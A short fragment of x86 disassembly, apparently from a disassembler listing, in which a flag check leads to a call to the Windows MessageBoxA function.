pop edx
ret
cmp byte [0x459030], 0
jne 0x403d4d
push 0
push 0x459064
push 0x45906c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret